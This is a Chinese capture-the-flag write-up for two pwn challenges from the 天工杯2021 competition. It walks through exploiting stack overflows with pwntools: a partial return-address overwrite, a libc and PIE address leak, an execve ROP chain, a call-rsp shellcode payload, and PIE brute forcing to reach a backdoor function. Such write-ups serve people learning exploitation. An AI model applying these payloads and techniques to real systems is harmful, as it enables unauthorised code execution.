天工杯2021 PWN WP

看点:
1.两个解法(shellcode、ROPchain)
2.python3.9与pwntools的一个坑。


程序漏洞情况

程序溢出点很好找,但是没有提供/bin/shsystem后门函数,考虑ROP(one_gadget或者ROPchain)。

read函数处栈溢出

checksec情况

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments
  • 没有Canary,无脑栈溢出;
  • 要用ROP需要leak libc的基地址;
  • 没有开NX,可以通过jmp rsp/call rsp去执行栈上shellcode。但是开了PIE,需要leak程序的基地址。

ROPchain

如何让程序多次运行

一次read/write只能泄露出基址,但后续的ROP构造还要一次read/write操作。方案直接上代码:

payload = flat([
   'a' * 128,
   p64(0xdeadbeef),
   b'\xc0'
])

这里有个python3.9和pwntools的坑,要使用b'\xc0'不能直接'\xc0',使用后者发送的数据会不符合预期,造成攻击不成功

其中的关键点在于b'\xc0',作用是让vul函数的返回地址从图中红框变为绿框,再从main函数的起始处开始执行,就可以再执行一次。

leak地址问题

vul函数的write中,可以写出栈上256个字符,进而泄露出__libc_start_main_retprocess的基地址。

栈数据

攻击方式有两种

(一)构造ROP攻击链(基于libc2.23)

  • 第一种(坑):使用one_gadget,结果:失败。因为满足不了one_gadget的限制条件。
  • 第二种(坑):使用pop rdi,ret,system,结果:失败。system的调用链如下:system-->do_system-->execve,最终在execve中与one_gadget殊途同归。一样的因为参数问题无法正常调用
  • 第三种:构造ROP链,直接调用execve,把execve第二个、第三个参数设置为null。即可正常调用。

EXP如下:

flat([
    'a' * 128,
    p64(0xdeadbeef),
    p64(pop_ret),
    p64(binsh_addr),
    p64(prdx_prsi_ret),
    0x0,
    0x0,
    p64(execve_addr)

])

(二)leak process基地址后,使用call rsp调用shellcode直接攻击

  • 泄露process的代码如下:
leak_address = ru(cdelim)
libc_main_ret = u64(leak_address[0xa9:0xb1])
elf.address = u64(leak_address[0x89:0x91]) - 0x9c0
  • payload如下:
flat([
    'a' * 128,
    p64(0xdeadbeef),
    p64(call_rsp),
    asm(shellcraft.sh())  #这里要注意需要设置context.arch='amd64',否则默认发送i386架构下的shellcode。
])

暴力碰撞PIE

如果程序提供了后门函数,并且开了PIE,可以尝试暴力碰撞返回地址最后2字节(4位16进制)。原理是glibc下的pie,只到内存页级别(大小0x1000),所以程序基址的最后三位必定为0。暴力碰撞使用四字节覆盖,会覆盖倒数第四位,这一位与PIE有关系。通过不断重复调用执行程序,使某一次的PIE地址,正好与我们挑选地址一致,就执行成功。下面用另一道题来解释:

程序漏洞情况

  • main函数

    main

  • haha函数

    haha

  • 校验使用v5+v4结果,传参使用v5,并且使用v5进行read调用。可以使v4为负数,v5为大正数,就可以造成haha函数中栈溢出。
    代码如下:

io.sendlineafter("number", str(512))
io.sendlineafter("number2", str(-511))

暴力碰撞

  • 程序提供了后门函数,但未提供泄露基地址的地方,可以使用多次运行,去碰撞PIE倒数第四位。
  • 先来看几个重要偏移
    1.haha函数的返回偏移:0xB43
    haha返回偏移

    2.后门函数的偏移
    后门函数的偏移
  • 再来看看payload
        backdoor = b'\xe0'
        backdoor += b'\x09' ##把返回地址的最后4位改为0x09e0
        payload = flat([
            'a' * 96,
            p64(0xdeadbeef),
            backdoor
        ])
  • 最后看看调试结果
    1.看看程序的基址:0x559063600000
    程序的基址

2.看看haha函数被覆盖后的返回地址:0x5590636009e0

图片.png

3.haha原返回地址应为0x559063600B43,而payload把返回地址修改为0x5590636009e0,就成功执行了后门函数。注意:这里截取的是成功后的图

  • 如果是把返回地址改为0xb9e0,则本次是不成功的,因为基地为0x559063600000,在访问0x55906360b9e0时会失败。但可以通过反复关闭再执行程序,让程序的PIE地址变换,最终变换成类似0x55906360b000,那么就能成功执行了。

你可能感兴趣的:(天工杯2021 PWN WP)